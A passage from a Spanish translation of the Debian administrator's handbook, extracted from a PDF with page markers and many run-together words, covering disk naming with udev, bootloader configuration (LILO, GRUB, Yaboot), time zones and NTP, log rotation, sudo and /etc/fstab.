VOLVER A LOS CIMIENTOS Registromaestro de arranque («Master bootrecord»)

El registro maestro de arranque (MBR:«Master Boot Record») ocupa losprimeros 512 bytes del primer disco duroy es lo primero que carga el BIOS paraotorgar el control a un programa capaz deiniciar el sistema operativo deseado. Engeneral, el gestor de arranque se instalaen el MBR eliminando su contenidoanterior.

8.8.1. Identificación de

Page 766: El Libro Del Administrador de Debian - Raphael Hertzog

discos

CULTURA udev, devfs y /dev/

El directorio /dev/ tradicionalmentealmacena los llamados archivos«especiales» con el objetivo derepresentar los periféricos del sistema(revise el recuadro VOLVER A LOSCIMIENTOS Permisos de acceso adispositivos). /dev/hda1 corresponde, porlo tanto, a la primera partición del primerdisco duro IDE. Esta estructura estáticano permite la configuración dinámica delos números «mayor» y «menor» de estosarchivos lo que fuerza a losdesarrolladores del núcleo a limitar sucantidad ya que asignar estosidentificadores a priori prohíbe agregar

Page 767: El Libro Del Administrador de Debian - Raphael Hertzog

otros una vez que se establecieron estasconvenciones.

Para tener en cuenta las características deequipos más modernos y dinámicos elnúcleo, en algún momento, comenzó aofrecer una implementación de /dev/ através de un sistema de archivos virtualllamado devfs. En algunos casos, estohace más sencillo encontrar archivos yaque la convención de nombres utiliza unaestructura jerárquica: la primera particiónen el disco duro maestro del primer canalIDE se representa con el archivo/dev/ide/host0/bus0/target0/lun0/part1.No sólo que esta convención de nombresno es muy intuitiva sino que tambiénestán fijadas en el núcleo lo que presentaproblemas para dispositivos portátiles yaque sus nombres correspondientespueden variar.

Page 768: El Libro Del Administrador de Debian - Raphael Hertzog

La solución actual es la segundaencarnación del proceso: udev, con el queel núcleo delega la elección del nombrede los archivos de dispositivos a crear aun programa en espacio de usuario. Esteprograma (udevd) goza entonces de todala flexibilidad del espacio de usuario paradecidir las acciones a tomar, el nombre delos periféricos, etc.

Con udev («user-space /dev/», en espaciode usuario), se almacena un sistema dearchivos en RAM que es creadoautomáticamente por udevd (y esconde elcontenido de cualquier /dev/ que puedaestar almacenado en el disco). udevdcolabora con el subsistema hotplug(«conectar en caliente») del núcleo(revise la Section 9.11, “Conexión encaliente: hotplug”) para detectar laaparición de dispositivos y luego crea

Page 769: El Libro Del Administrador de Debian - Raphael Hertzog

dinámicamente los archivos especialescorrespondientes en /dev/. El contenidode /dev/, por lo tanto, se pierde en cadareinicio pero udev lo crea nuevamente deforma sistemática.

Este mecanismo permite que el equiposeleccione dinámicamente el nombre delarchivo. Puede así mantener el mismonombre para un dispositivo dado sinimportar el conector que utilice o el ordende los mismos, lo que es especialmenteútil cuando utilice varios periféricos USB.El sistema de particiones en el primerdisco duro IDE puede ser llamado/dev/hda1 por cuestiones decompatibilidad con versiones anteriores o/dev/root-partition si así lo prefiere, oinclusive ambos simultáneamente ya quepuede configurar udevd para que cree elenlace simbólico automáticamente. Lo

Page 770: El Libro Del Administrador de Debian - Raphael Hertzog

que es más, /dev/ ya no contiene archivosútiles en este momento. Anteriormente,algunos módulos del núcleo no cargabanautomáticamente cuando intentabaacceder al periférico correspondiente; porlo tanto, el archivo especial del mismo noexistía antes de cargar el módulo lo cualno era gran problema ya que la mayoríade los módulos se cargan durante elarranque gracias a la detecciónautomática de hardware. Pero paraperiféricos no detectables (como discosantiguos o periféricos PS/2) esto nofunciona. Considere agregar los módulosfloppy, psmouse y mousedev al archivo/etc/modules para forzar que se carguendichos módulos durante el arranque.

La configuración del gestor de

Page 771: El Libro Del Administrador de Debian - Raphael Hertzog

arranque debe identificar los diferentesdiscos duros y sus particiones. Linuxutiliza para esto un sistema de archivosespecial (en modo «bloque»)almacenado en el directorio /dev/.Históricamente, /dev/hda era el discomaestro en el primer controlador IDE,/dev/hdb su primer esclavo, /dev/hdcy /dev/hdd eran respectivamente losdiscos maestro y esclavo del segundocontrolador IDE y así sucesivamentepara cualquier otro. /dev/sdacorresponde al primer disco SCSI,/dev/sdb al segundo, etc. Esteesquema de nombres fue unificado enel núcleo Linux presente en Squeeze ytodos los discos duros (IDE/PATA,SATA, SCSI, USB, IEEE 1394) son

Page 772: El Libro Del Administrador de Debian - Raphael Hertzog

representados con /dev/sd*.

Se representa cada partición por sunúmero en el disco en el que existe: porejemplo, /dev/sda1 es la primerapartición del primer disco y /dev/sdb3es la tercera partición del segundodisco.

La arquitectura de PC («i386») estálimitada a cuatro particiones«primarias» por disco. Para superaresta limitación una de ellas debe sercreada como una partición «extendida»y ésta luego puede contener variasparticiones «secundarias» adicionales.Estas particiones secundarias deben sernumeradas a partir del 5. Por lo tanto,

Page 773: El Libro Del Administrador de Debian - Raphael Hertzog

la primera partición secundaria sería/dev/sda5 seguida de /dev/sda6, etc.

No siempre es sencillo recordar quédisco está conectado a qué controladorSATA o está en la tercera posición dela cadena SCSI, especialmente desdeque el nombre de los discos durosremovibles (que incluye, entre otros, lamayoría de los discos SATA y discosexternos) puede cambiar de un inicio aotro. Afortunadamente udev crea,además de /dev/sd*, enlacessimbólicos con nombres fijos quepuede utilizar si lo desea paraidentificar un disco duro de formaunívoca. Estos enlaces simbólicos sonalmacenados en /dev/disk/by-id. En

Page 774: El Libro Del Administrador de Debian - Raphael Hertzog

un equipo con dos discos físicos, porejemplo, uno podría encontrar losiguiente:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

Page 775: El Libro Del Administrador de Debian - Raphael Hertzog

[...]

lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Es importante notar que algunos discosaparecen varias veces (porque secomportan como discos ATA asítambién como discos SCSI), pero lainformación relevante esprincipalmente en el modelo y númeroserie del disco con los que puedeencontrar el archivo del periférico.

Los archivos de configuración de

Page 776: El Libro Del Administrador de Debian - Raphael Hertzog

ejemplo provistos en las próximassecciones están basados en la mismainstalación: un único disco maestroIDE donde la primera partición es unaantigua instalación de Windows y lasegunda contiene Debian GNU/Linux.

8.8.2. Configuraciónde LILOLILO (cargador de Linux: «LInuxLOader») es el gestor de arranque másantiguo — sólido pero rústico. Escribela dirección física del núcleo a inciaren el MBR, razón por la que debeseguir cada actualización de LILO (o

Page 777: El Libro Del Administrador de Debian - Raphael Hertzog

su archivo de configuración) con unaejecución de lilo. Olvidarlo hará que elsistema no pueda iniciar si se eliminó oreemplazó el núcleo antiguo ya que elnuevo no estará en la misma ubicaciónen el disco.

El archivo de configuración de LILO es/etc/lilo.conf; se muestra en elejemplo a continuación un archivosimple con la configuración estándar.

Example 8.3. Archivo deconfiguración de LILO

# El disco en el que instalar LILO

# Indicar un disco en lugar de una partición

# instalará LILO en el MBR.

boot=/dev/sda

# la partición que contiene Debian

Page 778: El Libro Del Administrador de Debian - Raphael Hertzog

root=/dev/sda2

# el elemento a cargar de forma predeterminada

default=Linux

# la imagen de núcleo más reciente

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Núcleo antiguo (si el recientemente instalado no inicia)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# sólo para inicio dual Linux/Windows

other=/dev/sda1

label=Windows

8.8.3. Configuración

Page 779: El Libro Del Administrador de Debian - Raphael Hertzog

8.8.3. Configuraciónde GRUB 2GRUB (gran gestor de arranqueunificado: «GRand UnifiedBootloader») es más reciente. No esnecesario ejecutarlo luego de cadaactualización del núcleo, GRUB sabecómo leer los sistemas de archivos yencontrar la ubicación del núcleo en eldisco por su cuenta. Para instalarlo enel MBR del primer disco simplementeejecute grub-install /dev/sda.

NOTA GRUB y GRUB 2

Squeeze contiene tanto la versión 1 deGRUB (también llamada «GRUB legacy»)

Page 780: El Libro Del Administrador de Debian - Raphael Hertzog

como su versión 2. El paquete grubinstala la versión 2 (a través del sistemade dependencias de paquetes) y ofreceuna migración automática duranteactualizaciones desde Lenny. GRUB 1continúa disponible en el paquete grub-legacy.

NOTA Nombres de disco para GRUB

GRUB sólo puede identificar discos durosbasándose en la información provista porel BIOS. (hd0) corresponde al primerdisco detectado, (hd1) al segundo, etc. Enla mayoría de los casos este orden secorresponde exactamente con el ordenusual de discos bajo Linux, pero puedeocurrir problemas cuando asocie discosIDE y SCSI. GRUB almacena lascorrespondencias que detecte en el

Page 781: El Libro Del Administrador de Debian - Raphael Hertzog

archivo /boot/grub/device.map. Siencuentra errores allí (porque sabe que suBIOS detecta dispositivos en un ordendiferente), corríjalo manualmente yejecute grub-install nuevamente.

Las particiones también tienen nombresespecíficos en GRUB. Cuando utiliceparticiones «clásicas» en el formato MS-DOS, la primera partición en el primerdisco corresponderá con la etiqueta (hd0,msdos1), la segunda con (hd0,msdos2),etc.

La configuración de GRUB2 estáalmacenada en /boot/grub/grub.cfg,pero este archivo (en Debian) esgenerado a partir de otros. Tengacuidado de no modificarlo a mano ya

Page 782: El Libro Del Administrador de Debian - Raphael Hertzog

que perderá dichas configuracioneslocales la próxima vez que se ejecuteupdate-grub (que puede ocurrir alactualizar algunos paquetes). Lasmodificaciones más comunes delarchivo /boot/grub/grub.cfg(agregar parámetros al núcleo ocambiar el tiempo que se mostrará elmenú por ejemplo) se realizan a travésde variables en /etc/default/grub.Para agregar elementos al menú puedecrear un archivo/boot/grub/custom.cfg o modificarel archivo /etc/grub.d/50_custom.Para configuraciones más complejaspuede modificar otros archivos en/etc/grub.d o crearlos; éstos scriptsdeben devolver porciones de

Page 783: El Libro Del Administrador de Debian - Raphael Hertzog

configuración, posiblemente utilizandoprogramas externos. Estos scripts sonlos que actualizarán la lista de núcleosa iniciar: 10_linux tiene en cuenta losnúcleos Linux instalados; 20_linuxtiene en cuenta sistemas virtuales Xeny 30_os-prober listará otros sistemasoperativos (Windows, Mac OSX,Hurd).

8.8.4. Configuraciónde GRUB LegacyLa versión 1 de GRUB también puedeleer sistemas de archivos. Se instalautilizando la orden grub-install

Page 784: El Libro Del Administrador de Debian - Raphael Hertzog

/dev/sda.

NOTA Nombres de disco para GRUBLegacy

GRUB Legacy utiliza el mismo sistemapara nombrar discos que GRUB 2 y elmismo archivo /boot/grub/device.map.Por el otro lado, nombra las particiones deuna forma ligeramente distinta: la primerapartición del primer disco corresponde ala etiqueta (hd0,0), la segunda (hd0,1),etc.

La configuración de GRUB seencuentra en el archivo/boot/grub/menu.lst (revise elejemplo).

Page 785: El Libro Del Administrador de Debian - Raphael Hertzog

Example 8.4. Archivo deconfiguración de GRUB

# Iniciar automáticamente luego de 30 segundos

timeout 30

# Iniciar el primer elemento de forma predeterminada

default 0

# Si eso falla, intentar el segundo

fallback 1

# Último núcleo instalado

title GNU/Linux

root (hd0,1)

kernel /vmlinuz root=/dev/sda2

initrd /initrd.img

# Núcleo antiguo (si el más reciente no inicia)

title GNU/Linux OLD

root (hd0,1)

kernel /vmlinuz.old root=/dev/sda2

initrd /initrd.img.old

Page 786: El Libro Del Administrador de Debian - Raphael Hertzog

# Sólo para arranque dual Linux/Windows

title Microsoft Windows

rootnoverify (hd0,0)

makeactive

chainloader +1

8.8.5. Para equiposMacintosh(PowerPC):configuración deYabootYaboot es el gestor de arranqueutilizado por equipos Macintoshantiguos que utilizan procesadores

Page 787: El Libro Del Administrador de Debian - Raphael Hertzog

PowerPC. No arrancan como PCs sinoque necesitan una partición de arranquedesde la que el BIOS (uOpenFirmware) ejecuta el gestor y enla que el programa ybin instala yabooty su achivo de configuración. Sólonecesitará ejecutar este programanuevamente si se modifica/etc/yaboot.conf (se lo duplica en lapartición de arranque y yaboot sabecómo encontrar la posición de losnúcleos en el disco).

Antes de ejecutar ybin primero debetener un archivo /etc/yaboot.confválido. Lo que sigue es un ejemplo deconfiguración mínimo.

Page 788: El Libro Del Administrador de Debian - Raphael Hertzog

Example 8.5. Archivo deconfiguración de Yaboot

# partición de arranque

boot=/dev/sda2

# el disco

device=hd:

# la partición Linux

partition=3

root=/dev/sda3

# arrancar luego de 3 segundos de inactividad

# (timeout es en décimas de segundo)

timeout=30

install=/usr/lib/yaboot/yaboot

magicboot=/usr/lib/yaboot/ofboot

enablecdboot

# último núcleo instalado

image=/vmlinux

label=linux

initrd=/initrd.img

Page 789: El Libro Del Administrador de Debian - Raphael Hertzog

read-only

# núcleo antiguo

image=/vmlinux.old

label=old

initrd=/initrd.img.old

read-only

# sólo para arranque dual Linux/Mac OSX

macosx=/dev/sda5

# también son válidos

# bsd=/dev/sdaX y macos=/dev/sdaX

Page 790: El Libro Del Administrador de Debian - Raphael Hertzog

8.9. Otrasconfiguraciones:sincronización detiempo, registros,accesocompartido...Es recomendable que cualquiera quequiera dominar todos los aspectos deconfiguración de un sistemaGNU/Linux conozca los muchoselementos incluidos en esta sección. Se

Page 791: El Libro Del Administrador de Debian - Raphael Hertzog

los trata, sin embargo, brevemente ygeneralmente lo dirigirán a ladocumentación.

8.9.1. Zona horaria

VOLVER A LOS CIMIENTOS Enlacessimbólicos

Un enlace simbólico es un puntero a otroarchivo. Cuando accede al mismo, abre elarchivo al que apunta. Eliminar el enlaceno causará la eliminación del archivo alque apunta. Así mismo, no tiene su propioconjunto de permisos sino que retiene lospermisos del archivo al que apunta.Finalmente, puede apuntar a cualquiertipo de archivo: directorios, archivos

Page 792: El Libro Del Administrador de Debian - Raphael Hertzog

especiales (zócalos, tuberías connombres, archivos de dispositivo, etc.),inclusive otros enlaces simbólicos.

La orden ln -s objetivonombre_del_enlace crea un enlacesimbólico llamado nombre_del_enlace yque apunta a objetivo.

Si el objetivo no existe entonces el enlaceestá «roto» y accederlo resultará en unerror indicando que el archivo objetivono existe. Si el enlace apunta a otroenlace, tendrá una «cadena» de enlacesque se convertirá en un «ciclo» si algunode ellos apunta a uno de sus predecesores.En este caso, acceder a uno de los enlacesen el ciclo resultará en un error específico(demasiados niveles de enlacessimbólicos: «too many levels of symboliclinks»); esto significa que el núcleo se

Page 793: El Libro Del Administrador de Debian - Raphael Hertzog

rindió luego de varias vueltas en el ciclo.

La zona horaria, configurada durante lainstalación inicial, es un elemento deconfiguración para el paquete tzdata.Para modificarla ejecute dpkg-reconfigure tzdata, lo que le permitiráseleccionar de forma interactiva lazona horaria a utiliza (hasta Lennyhubiese ejecutado tzconfig). Sealmacena su configuración en elarchivo /etc/timezone. Además, secopiará el archivo correspondiente enel directorio /usr/share/zoneinfo a/etc/localtime; este archivo contienelas reglas sobre las fechas a las quecorresponde el horario de verano en los

Page 794: El Libro Del Administrador de Debian - Raphael Hertzog

países que lo utilizan.

Cuando necesite cambiar la zonahoraria temporalmente utilice lavariable de entorno TZ que tiene másprioridad que la configurada en elsistema:

$ date

Wed Mar 28 15:51:19 CEST 2012

$ TZ="Pacific/Honolulu" date

Wed Mar 28 03:51:21 HST 2012

NOTA Reloj de sistema, reloj dehardware

Existen dos fuentes de tiempo en unequipo. La placa madre tiene un reloj dehardware llamado «reloj CMOS». Este

Page 795: El Libro Del Administrador de Debian - Raphael Hertzog

reloj no es muy preciso y provee tiemposde acceso bastante lentos. El núcleo delsistema operativo tiene el suyo propio, elreloj de software, que mantieneactualizado a su manera (posiblementecon ayuda de servidores de tiempo, revisela sección «Sincronización de tiempo»).El reloj del sistema generalmente es máspreciso, especialmente debido a que nonecesita acceso a variables de hardware.Sin embargo, como sólo existe enmemoria, es eliminado cada vez queinicia la máquina a diferencia del relojCMOS que tiene una batería y, por lotanto, «sobrevive» reinicios de lamáquina o cuando está apagada. Por lotanto, el reloj de sistema es configuradodesde el reloj CMOS durante el inicio y elreloj CMOS es actualizado al apagar (paratener en cuenta posibles cambios ocorrecciones si no se ajustó

Page 796: El Libro Del Administrador de Debian - Raphael Hertzog

correctamente).

En la práctica hay un problema, ya que elreloj CMOS no es nada más que uncontador no contiene información sobrela zona horaria. Hay una elección arealizar sobre su interpretación: o bien elsistema considera que está en tiempouniversal (UTC, anteriormente GMT) o enhorario local. Esta elección podría ser uncambio simple pero las cosas son enrealidad un poco más complicadas: comoresultado del horario de verano, eldesfasaje puede no ser constante. Elresultado es que el sistema no tiene formade saber si éste es correcto, especialmentealrededor de períodos de cambios dehora. Debido a que siempre es posiblereconstruir la hora local desde tiempouniversal y la información de zonahoraria recomendamos fuertemente

Page 797: El Libro Del Administrador de Debian - Raphael Hertzog

utilizar el reloj CMOS en tiempouniversal.

Desafortunadamente, los sistemasWindows en su configuraciónpredeterminada ignoran estarecomendación; mantienen el reloj CMOSen tiempo local aplicando cambios aliniciar el equipo intentando adivinardurante los tiempos de cambio si elcambio ya fue aplicado o no. Estofunciona relativamente bien siempre ycuando el sistema sólo ejecute Windows.Pero cuando un equipo tiene variossistemas (ya sea una configuración de«inicio dual» o la ejecución de losmismos en máquinas virtuales), se desatael caos siendo imposible determinar lahora correcta. Si debe mantenerobligatoriamente Windows en un equipoo bien debería configurarlo para mantener

Page 798: El Libro Del Administrador de Debian - Raphael Hertzog

el reloj CMOS en UTC o desactivar UTC enel archivo /etc/default/rcS del sistemaDebian (y asegúrese de revisarmanualmente su reloj en primavera yotoño).

8.9.2. Sincronizaciónde tiempoLa sincronización de tiempo, que puedeparecer superfluo en un equipo, es muyimportante en una red. Debido a quelos usuarios no tienen permisos paramodificar la fecha y hora es importanteque esta información sea precisa paraevitar confusión. Lo que es más, tener

Page 799: El Libro Del Administrador de Debian - Raphael Hertzog

sincronizados todos los equipos de unared permite cruzar referencias deinformación en registros de diferentesmáquinas. Por lo tanto, en caso de unataque, es más sencillo reconstruir lasecuencia cronológica de acciones entodos los equipos involucrados en elmismo. Los datos recolectados envarios equipos por motivos estadísticosno tendrán demasiado sentido si noestán sincronizados.

VOLVER A LOS CIMIENTOS NTP

NTP (protocolo de tiempo de red:«Network Time Protocol») le permite auna máquina sincronizarse con otras muyprecisamente teniendo en cuenta lasdemoras inducidas por la transferencia de

Page 800: El Libro Del Administrador de Debian - Raphael Hertzog

información sobre la red y otrasdesviaciones posibles.

Si bien hay numerosos servidores NTP enInternet, los más populares tienden a estarsobrecargados. Es por eso querecomendamos utilizar el servidor NTPpool.ntp.org que es, en realidad, un grupode máquinas que acordaron servir comoservidores NTP públicos. Inclusive puedelimitar el uso a un subgrupo específico deun país con, por ejemplo, us.pool.ntp.orgpara Estados Unidos o ca.pool.ntp.orgpara Canadá, etc.

Sin embargo, si administra una redgrande, se recomienda que instale supropio servidor NTP que sincroniza conservidores públicos. En este caso, todoslos otros equipos en su red puedenutilizar su servidor NTP interno en lugar

Page 801: El Libro Del Administrador de Debian - Raphael Hertzog

de aumentar la carga en los servidorespúblicos. También aumentará lahomogeneidad de sus relojes ya que todoslos equipos estarán sincronizados desdela misma fuente y esta fuente se encuentramuy cerca en cuestiones de tiempos detranferencia en la red.

8.9.2.1. Para estaciones detrabajo

Debido a que las estaciones de trabajoson reiniciadas frecuentemente (aunquesólo sea para ahorrar energía),sincronizarlas por NTP al inicio essuficiente. Para hacerlo, simplementeinstale el paquete ntpdate. Puede

Page 802: El Libro Del Administrador de Debian - Raphael Hertzog

cambiar el servidor NTP utilizadomodificando el archivo/etc/default/ntpdate.

8.9.2.2. Para servidores

Los servidores rara vez son reiniciadosy es muy importante que la hora deestos sistemas sea correcta. Paramantener la hora correcta debe instalarun servidor NTP local, un servicioofrecido en el paquete ntp. En suconfiguración predeterminada elservidor se sincronizará conpool.ntp.org y proveerá la hora comorespuesta a pedidos que provengan dela red local. Puede configurarloeditando el archivo /etc/ntp.conf,

Page 803: El Libro Del Administrador de Debian - Raphael Hertzog

siendo la alteración más importante elservidor NTP al que se refiere. Si la redtiene muchos servidores podría serinteresante tener un servidor de tiempolocal que sincroniza con los servidorespúblicos y es utilizado como fuente detiempo por los demás servidores de lared.

YENDO MÁS ALLÁ Módulos GPS yotras fuentes de tiempo

Si la sincronización de tiempo esparticularmente crucial en su red esposible equipar un servidor con unmódulo GPS (que utilizará la hora desatélites GPS) o un módulo DCF-77 (quesincronizará la hora con el reloj atómicocerca de Frankfurt, Alemania). en este

Page 804: El Libro Del Administrador de Debian - Raphael Hertzog

caso, la configuración del servidor NTPes un poco más complicada y necesitaráconsultar la documentación.

8.9.3. Rotandoarchivos de registroLos archivos de registro pueden crecer,rápido, y es necesario archivarlos. Elesquema más común es un archivadorotativo: el archivo de registro esalmacenado regularmente y sólo semantienen los últimos X archivos.logrotate, el programa responsable deestas rotaciones, responde a lasdirectivas presentes en el archivo

Page 805: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/logrotate y todos los archivosen el directorio /etc/logrotate.d/.El administrador puede modificar estosarchivos si desean adaptar la políticade rotación de registros definida porDebian. La página de manuallogrotate(1) describe todas las opcionesdisponibles en estos archivos deconfiguración. Podría desear aumentarla cantidad de archivos mantenidos enla rotación o mover los archivos deregistros a un directorio específicodedicado a su archivado en lugar deeliminarlos. También puede enviarlopor email para archivarlos en otro lado.

El programa logrotate es ejecutadodiariamente por la aplicación cron

Page 806: El Libro Del Administrador de Debian - Raphael Hertzog

(descripta en la Section 9.7,“Programación de tareas con cron yatd”).

8.9.4. Compartirpermisos deadministraciónFrecuentemente, muchosadministradores trabajan en la mismared. Compartir contraseñas de root noes muy elegante y abre la puerta alabuso debido al anonimato generado.La solución a este problema es elprograma sudo que permite a ciertosusuarios ejecutar ciertas órdenes con

Page 807: El Libro Del Administrador de Debian - Raphael Hertzog

permisos especiales. En el caso de usomás común, sudo permite a un usuarioconfiable ejecutar cualquier ordencomo root. Para hacerlo, el usuariosimplemente ejecuta sudo programa yprovee su contraseña personal comoautenticación.

Al instarlarlo, el paquete sudo noprovee permisos a nadie. Para delegardichos persmisos el administrador debeutilizar el programa visudo que lepermitirá modificar el archivo deconfiguración /etc/sudoers (aquínuevamente se invocará el editor vi ocualquier editor indicado en la variablede entorno EDITOR). Agregar una líneacon usuario ALL=(ALL) ALL permite

Page 808: El Libro Del Administrador de Debian - Raphael Hertzog

al usuario en cuestión ejecutarcualquier programa como root.

Configuraciones más sofisticadaspermiten autorizar sólo órdenesespecíficas a usuarios específicos. Lapágina de manual sudoers(5) proveetodos los detalles de las variasposibilidades.

8.9.5. Lista de puntosde montaje

VOLVER A LOS CIMIENTOS Montado ydesmontado

En un sistema similar a Unix como

Page 809: El Libro Del Administrador de Debian - Raphael Hertzog

Debian, los archivos están organizados ensólo una jerarquía de directorios similar aun árbol. El directorio / se llama«directorio raíz»; todos los directoriosadicionales son subdirectorios en estaraíz. «Montar» es la acción de incluir elcontenido de un dispositivo periférico(generalmente un disco duro) en el árbolde archivos general del sistema. Comoconsecuencia, si utiliza discos durosdiferentes para almacenar los datospersonales de los usuarios estos discostendrán que «montarse» en el directorio/home/. El sistema de archivos raízsiempre es montado durante el arranquepor el núcleo; los demás dispositivosgeneralmente son montados durante lasecuencia de inicio o manualmente con elprograma mount.

Algunos dispositivos removibles son

Page 810: El Libro Del Administrador de Debian - Raphael Hertzog

montados automáticamente al conectarse,especialmente cuando utiliza GNOME,KDE u otro entorno gráfico de escritorio.El usuario tendrá que montarmanualmente otros dispositivos. De lamisma forma, deberá desmontarlos(quitarlos del árbol de archivos). Usuariosnormales generalmente no tienen lospermisos para ejecutar mount y umount.El administrador puede, sin embargo,autorizar estas operaciones(independientemente para cada punto demontaje) incluyendo la opción user en elarchivo /etc/fstab.

Puede utilizar el programa mount sinparámetros (enumerará todos los sistemasde archivos montados). Si desea montar odesmontar un dispositivo necesitaráañadirle algunos parámetros. Para la listacompleta, revise las siguientes páginas de

Page 811: El Libro Del Administrador de Debian - Raphael Hertzog

manual: mount(8) y umount(8). Paracasos simples, la sintaxis también essimple: por ejemplo, para montar lapartición /dev/sdc1, que tiene un sistemade archivos ext3, en el directorio/mnt/tmp/ ejecute mount -t ext3/dev/sdc1 /mnt/tmp/.

El archivo /etc/fstab tiene una listade todos los montajes posibles quepueden ocurrir automáticamentedurante el inicio o manualmente paradispositivos de almacenamientoremovibles. Se describe cada punto demontaje en una línea con varioscampos separados por espacios:

dispositivo a montar: puede ser

Page 812: El Libro Del Administrador de Debian - Raphael Hertzog

una partición local (disco duro,CD-ROM) o sistema de archivosremoto (como NFS).

Generalmente se reemplaza estecampo con el ID único del sistemade archivos (que puede encontrarcon blkid dispositivo) con elprefijo UUID=. Esto previeneproblemas con cambios en elnombre del dispositivo en caso deagregar o eliminar discos o si sedetectan los discos en un ordendiferente.

punto de montaje: esta es laubicación del sistema de archivoslocal donde se montará el

Page 813: El Libro Del Administrador de Debian - Raphael Hertzog

dispositivo, sistema remoto opartición.tipo: este campo define el sistemade archivos utilizado en eldispositivo montado. Algunosejemplos son ext3, vfat, ntfs,reiserfs y xfs.

VOLVER A LOS CIMIENTOS NFS,un sistema de archivos de red

NFS es un sistema de archivos dered; en Linux permite accesotransparente a sistemas de archivosremotos incluyéndolos en el sistemade archivos local.

Puede encontrar una lista de todos

Page 814: El Libro Del Administrador de Debian - Raphael Hertzog

los sistemas de archivosconocidos en la página de manualmount(8). El valor especial swapes para particiones swap; el valorespecial auto le dice al programamount que detecteautomáticamente el sistema dearchivos (que es especialmenteútil para lectores de discos yllaves USB ya que cada una puedetener diferentes sistemas dearchivos);

opciones: hay muchas,dependiendo del sistema dearchivos, y están documentadas enla página de manual de mount.Las más comunes son

Page 815: El Libro Del Administrador de Debian - Raphael Hertzog

rw o ro que significan que semontará el dispositivo conpermisos de lectura yescritura o sólo lectura,respectivamente.noauto desactiva el montajeautomático durante elarranque.user autoriza a todos losusuarios a montar estesistema de archivos (unaoperación que de otra formaestaría restringida sólo alusuario root).defaults es un sinónimo dela lista de opcionespredeterminada: rw, suid,dev, exec, auto, nouser y

Page 816: El Libro Del Administrador de Debian - Raphael Hertzog

async, cada una de las cualespuede ser desactivada luegode defaults agregandonosuid, nodev, etc. parabloquear suid, dev, etc.respectivamente. Agregar laopción user lo reactiva yaque defaults incluyenouser.

respaldo: este campo casi siempreestá definido como 0. Cuando es 1le dice a la herramienta dump quela partición contiene datos quedeben ser respaldados.orden de revisión: este últimocampo indica si se debe revisar laintegridad del sistema de archivosdurante el inicio y en qué orden

Page 817: El Libro Del Administrador de Debian - Raphael Hertzog

debe ejecutarse esta revisión. Si es0 no se realizarán revisiones. Elsistema de archivos raíz deberíatener el valor 1 mientras que otrossistemas de archivos permanentesdeberían tener el valor 2.

Example 8.6. Ejemplo del archivo/etc/fstab:

# /etc/fstab: información de sistemas de archivos estáticos

#

# <sistema de archivos> <punto de montaje> <tipo> <opciones> <respaldo> <revisión>

proc /proc proc defaults 0 0

# / era /dev/sda1 durante la instalación

UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1

# swap se encontraba en /dev/sda5 durante la instalación

UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0

/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0

/dev/fd0 /media/floppy auto rw,user,noauto 0 0

Page 818: El Libro Del Administrador de Debian - Raphael Hertzog

arrakis:/shared /shared nfs defaults 0 0

El último elemento en este ejemplocorresponde a un sistema de archivosde red (NFS): se montará el directorio/shared/ en el servidor arrakis en/shared/ en la máquina local. Elformato del archivo /etc/fstab estádocumentado en la página de manualfstab(5).

YENDO MÁS ALLÁ Automontaje

El paquete am-utils provee la herramientade automontaje amd, capaz de montarmedios removibles a pedido cuando unusuario intenta acceder su punto demontaje usual. Desmontará estosdispositivos cuando ningún proceso los

Page 819: El Libro Del Administrador de Debian - Raphael Hertzog

esté accediendo.

Existen otras herramientas deautomontaje como automount en elpaquete autofs.

Sepa que GNOME, KDE y otros entornosgráficos de escritorio trabajan junto conel sistema hal (capa de abstracción dehardware: «Hardware AbstractionLayer») y pueden montarautomáticamente medios removiblescuando son conectados.

8.9.6. locate yupdatedb

Page 820: El Libro Del Administrador de Debian - Raphael Hertzog

